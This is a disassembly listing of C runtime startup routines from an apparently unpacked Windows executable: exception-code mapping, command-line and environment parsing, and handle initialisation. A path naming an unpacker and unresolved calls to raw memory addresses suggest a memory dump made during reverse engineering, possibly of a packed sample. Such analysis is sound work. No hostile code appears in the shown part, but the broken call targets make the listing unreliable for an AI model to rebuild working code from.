		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 26203B1h


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 26200CAh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 26202C5h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 26200CAh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 26202ECh
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2880000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 2610739h
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		call	near ptr 2610D74h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2610739h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		nop
		call	near ptr 2610F9Bh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC


